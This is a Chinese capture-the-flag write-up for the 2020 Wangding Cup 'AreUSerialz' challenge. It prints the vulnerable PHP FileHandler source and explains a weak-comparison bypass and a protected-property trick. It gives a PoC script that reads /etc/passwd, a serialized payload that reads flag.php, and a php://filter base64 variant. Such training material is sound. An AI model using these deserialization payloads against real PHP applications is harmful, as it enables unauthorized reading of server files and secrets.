[网鼎杯 2020 青龙组]AreUSerialz
Posted hunpi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[网鼎杯 2020 青龙组]AreUSerialz相关的知识,希望对你有一定的参考价值。
文章目录
class源码
没有涉及class之间的调用。(1)寻找跳板方法,先看read()方法,可以读取并返回$this->filename
文件内容,但没有输出。(2)寻找输出函数echo,发现output($s)
方法可以输出字符串。
1.弱类型绕过验证:2=="2"返回bool(true)
查看销毁函数__destruct(),更偏向于读操作直接查看flag.php。强类型的比较禁止读操作,但后面判断操作数使用的是弱比较,考虑传入$op=2
,传入整型数据。
2.protected属性的不可打印字符%00绕过验证:属性不敏感。
在PHP反序列化里,protected属性的变量,在序列化时会存在3个字符前缀%00*%00
,但php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可。
(3)值得注意的是,echo file_get_contents()
打印的PHP文件内容是不可见的,需要在页面源代码
中查看。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
本地编写PHP脚本生成poc:
<?php
class FileHandler {
public $op;
public $filename;
public $content;
}
$x = new FileHandler();
$x->op=2;
$x->filename="/etc/passwd";
echo serialize($x);
?>
更换文件名$x->filename="flag.php";
,生成exp:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
。这里值得注意的是,使用file_get_contents()直接读取php文件时,echo打印下PHP文件内容是不可见的,需要查看页面源代码才能看到文件内容。
如果想要echo打印的PHP文件内容可见,可以使用$x->filename="php://filter/read=convert.base64-encode/resource=flag.php"
。
以上是关于[网鼎杯 2020 青龙组]AreUSerialz的主要内容,如果未能解决你的问题,请参考以下文章